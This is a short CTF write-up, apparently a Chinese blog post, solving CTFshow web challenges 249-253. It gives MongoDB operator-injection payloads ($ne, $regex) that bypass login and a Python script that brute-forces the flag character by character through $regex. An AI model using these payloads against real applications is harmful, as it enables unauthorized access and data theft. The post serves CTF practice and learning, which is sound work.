CTFSHOW_SQL注入web249-253

试了其他文章的payload,没用成功,自己就写下来吧。
做题有三点注意,url编码,加不加8080(有的脚本url里面加8080,如果不行就去掉,行就不管),用不用Burpsuite的Repeater(有的信息要用Repeater才能看见)

web249

/api/?id[]=flag&page=1&limit=10

一些文章的payload少了page=1&limit=10

web250

我用username[$ne]=1&password[$ne]=1失败了,下面这个可以

username[$ne]=1&password[$regex]=ct

web251

username[$ne]=1&password[$regex]={

web252

username[$ne]=1&password[$regex]={

web253

用yu师傅的脚本就行

#author:yu22x
import requests
url="http://23fde3ab-6f1e-45f0-a918-576d3ac9525b.challenge.ctf.show/api/index.php"
flag="ctfshow{"
s='0123456789abcdef-}'
for i in range(9,46):
    print(i)
    for j in s:
        data={
            'username[$ne]':'1',
            'password[$regex]':f'^{flag+j}'
        }
        r=requests.post(url=url,data=data)
        if r"\u767b\u9646\u6210\u529f" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值